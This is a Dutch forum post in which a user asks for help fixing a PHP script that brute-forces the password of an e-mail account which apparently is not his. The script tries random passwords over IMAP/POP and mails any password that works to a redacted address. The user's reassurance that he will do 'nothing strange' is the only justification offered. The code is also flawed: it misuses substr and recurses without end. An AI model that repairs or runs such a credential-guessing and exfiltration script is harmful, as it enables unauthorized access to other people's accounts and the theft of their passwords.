Hallo,
Ik wil dmv brute-force achter een wachtwoord komen. Rustig maar, ik weet wat ik doe, als ik erachter ben ga ik er geen rare dingen mee doen. Het gaat om het wachtwoord van een e-mailaccount, en ik heb nu dit script gebruikt om steeds een ander wachtwoord te testen, maar er gebeurt niets, behalve dat de kop op het scherm komt.
Dit is de code:
<?php
echo '<h1>Brute-force manager</h1>';
function bruteforce()
{
$tekens = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';
$wachtwoord = '';
for ($i = 0; $i < 6; $i ++)
{
$random = rand(0, strlen($tekens) - 1);
$wachtwoord = $wachtwoord . substr($tekens, $random, $random + 1);
}
echo "\n" . '<p><i>' . $wachtwoord . '</i>, ';
if($imap = @imap_open("{pop.***.nl}", '***@***.nl',$wachtwoord))
{
mail('***', 'Wachtwoord administratie *** netwerk', $wachtwoord);
echo '<b>wel gelukt</b></p>';
exit;
}
else
{
echo 'niet gelukt</p>';
bruteforce();
}
}
bruteforce();
?>
Weet iemand raad?
Groeten,
Jonathan
5.215 views